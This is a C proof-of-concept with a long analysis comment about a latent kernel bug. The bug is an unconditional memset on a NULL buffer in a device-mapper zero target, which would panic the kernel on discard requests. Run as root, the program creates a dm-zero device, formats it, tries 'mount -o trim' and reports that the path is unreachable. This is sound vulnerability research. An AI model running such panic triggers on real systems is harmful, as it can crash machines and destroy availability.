/*
 * DF-2215 PoC -- dm_target_zero unconditional memset on FREEBLKS bios.
 *
 * Bug (sys/dev/disk/dm/dm_target_zero.c, dm_target_zero_strategy):
 *
 *    40: static int
 *    41: dm_target_zero_strategy(dm_table_entry_t *table_en, struct buf *bp)
 *    42: {
 *    43:     memset(bp->b_data, 0, bp->b_bcount);
 *    44:     bp->b_resid = 0;
 *    45:     biodone(&bp->b_bio1);
 *    46:     return 0;
 *    47: }
 *
 * The memset at line 43 is UNCONDITIONAL -- it runs for EVERY bio command,
 * including BUF_CMD_FREEBLKS (discard/TRIM). For a FREEBLKS bio, bp->b_data
 * is NULL (there is no data buffer for a discard operation -- only an offset
 * and length). memset(NULL, 0, N) -> page fault -> kernel panic.
 *
 * FREEBLKS bios reach dmstrategy() (device-mapper.c:385) because
 * BUF_CMD_FREEBLKS is explicitly handled as a non-bypass command. The nestbuf
 * created by nestiobuf_add (vfs_bio.c:4581) inherits the master buf's b_data:
 *
 *    bp->b_data = (char *)mbp->b_data + offset;
 *
 * For a FREEBLKS bio, mbp->b_data == NULL, so nestbuf->b_data == NULL + offset.
 * The zero target then memsets this NULL+near-zero pointer -> panic.
 *
 * REACHABILITY ANALYSIS (why this is LATENT on the current guest):
 *
 * FREEBLKS bios are generated by two paths:
 * 1. VOP_FREEBLKS -> devfs_spec_freeblks (devfs_vnops.c:2028):
 *      if ((ap->a_vp->v_rdev->si_flags & SI_CANFREE) == 0)
 *          return (0);
 *    This is a NO-OP for dm devices because dm_ops (device-mapper.c:73) does
 *    NOT set D_CANFREE, so SI_CANFREE is never set. The FREEBLKS bio is never
 *    created.
 *
 * 2. ffs_blkfree (ffs_alloc.c:1668) when MNT_TRIM is set:
 *      if (!(mp->mnt_flag & MNT_TRIM)) { ffs_blkfree_cg(...); return; }
 *    But `mount -o trim` FAILS for dm devices because mount_ufs checks whether
 *    the device supports TRIM (D_CANFREE) and refuses to mount:
 *      "Device:/dev/mapper/xxx does not support the TRIM command"
 *    So MNT_TRIM is never set, and ffs_blkfree takes the non-TRIM path.
 *
 * CONCLUSION: The code-level bug is REAL (the memset is unconditional and
 * would panic on a FREEBLKS bio), but it is UNREACHABLE on this kernel
 * because dm_ops lacks D_CANFREE, making the entire FREEBLKS path dead code
 * for dm devices. The bug is LATENT -- it would become exploitable if a
 * future commit adds D_CANFREE to dm_ops, or if a dm target stacked on a
 * TRIM-capable device propagated FREEBLKS bios upward.
 *
 * This PoC demonstrates the unreachability: it creates a dm-zero device,
 * then shows that mount -o trim fails (device doesn't support TRIM).
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator. This PoC
 * must run as root. Latent bug, no escalation possible.
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./poc    (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2215dev"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_suspend(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("suspend");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_resume(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("resume");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Reload a zero target table. The zero target needs no backing device;
 * params can be any non-NULL string (it has no init function).
 */
static int
do_reload_zero(const char *name, uint64_t length)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	int rv;

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "zero");
	prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, length);
	/* params must be non-NULL so dm_table_init doesn't EINVAL. */
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, "0");
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

int
main(void)
{
	int rv;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2215 dm_target_zero unconditional memset on FREEBLKS bios\n");
	printf("[*] Bug: dm_target_zero.c:43 memset(bp->b_data,0,bp->b_bcount)\n");
	printf("[*]       is unconditional -- runs for FREEBLKS where b_data=NULL\n");
	printf("[*] Reachability: FREEBLKS requires D_CANFREE on dm_ops (absent)\n");
	fflush(stdout);

	(void)do_remove(DEV_NAME);

	/* Create dm device. */
	rv = do_create(DEV_NAME);
	printf("[*] create '%s': rv=%d (%s)\n",
	    DEV_NAME, rv, rv ? strerror(rv) : "ok");
	if (rv != 0 && rv != EEXIST) {
		fprintf(stderr, "[!] create failed\n");
		close(g_ctlfd);
		return 1;
	}

	/* Reload with zero target (64MB = 131072 sectors). */
	rv = do_reload_zero(DEV_NAME, 131072);
	printf("[*] reload zero: rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok");

	/* Resume to make the table active. */
	rv = do_resume(DEV_NAME);
	printf("[*] resume: rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok");

	/*
	 * Now try to newfs + mount -o trim. This will FAIL because the dm
	 * device doesn't have D_CANFREE -> doesn't support TRIM.
	 */
	printf("\n[*] Attempting: newfs + mount -o trim /dev/mapper/%s\n", DEV_NAME);
	fflush(stdout);

	char cmd[512];
	snprintf(cmd, sizeof(cmd), "newfs /dev/mapper/%s 2>&1", DEV_NAME);
	printf("[newfs] %s\n", cmd);
	rv = system(cmd);
	printf("[newfs] exit=%d\n", WEXITSTATUS(rv));

	snprintf(cmd, sizeof(cmd),
	    "mkdir -p /mnt/%s && mount -o trim /dev/mapper/%s /mnt/%s 2>&1",
	    DEV_NAME, DEV_NAME, DEV_NAME);
	printf("[mount] %s\n", cmd);
	rv = system(cmd);
	printf("[mount] exit=%d\n", WEXITSTATUS(rv));

	if (WEXITSTATUS(rv) != 0) {
		printf("\n[!] mount -o trim FAILED -- dm device does not support TRIM.\n");
		printf("[!] dm_ops (device-mapper.c:73) lacks D_CANFREE.\n");
		printf("[!] Without MNT_TRIM, ffs_blkfree never generates FREEBLKS bios.\n");
		printf("[!] VOP_FREEBLKS -> devfs_spec_freeblks checks SI_CANFREE and\n");
		printf("[!] returns early for dm devices.\n");
		printf("\n[!] CONCLUSION: The code-level bug in dm_target_zero_strategy\n");
		printf("[!] is REAL (memset is unconditional, would panic on FREEBLKS),\n");
		printf("[!] but UNREACHABLE on this kernel because FREEBLKS bios never\n");
		printf("[!] reach a dm device. This is a LATENT bug / defense-in-depth\n");
		printf("[!] hardening gap. See fix.diff for the guard.\n");
	} else {
		printf("\n[*] mount -o trim succeeded! Testing file deletion...\n");
		snprintf(cmd, sizeof(cmd),
		    "echo test > /mnt/%s/f && sync && rm /mnt/%s/f 2>&1",
		    DEV_NAME, DEV_NAME);
		rv = system(cmd);
		printf("[rm] exit=%d (if we got here, no panic)\n", WEXITSTATUS(rv));
		snprintf(cmd, sizeof(cmd), "umount /mnt/%s 2>/dev/null", DEV_NAME);
		system(cmd);
	}

	(void)do_remove(DEV_NAME);
	close(g_ctlfd);
	return 0;
}
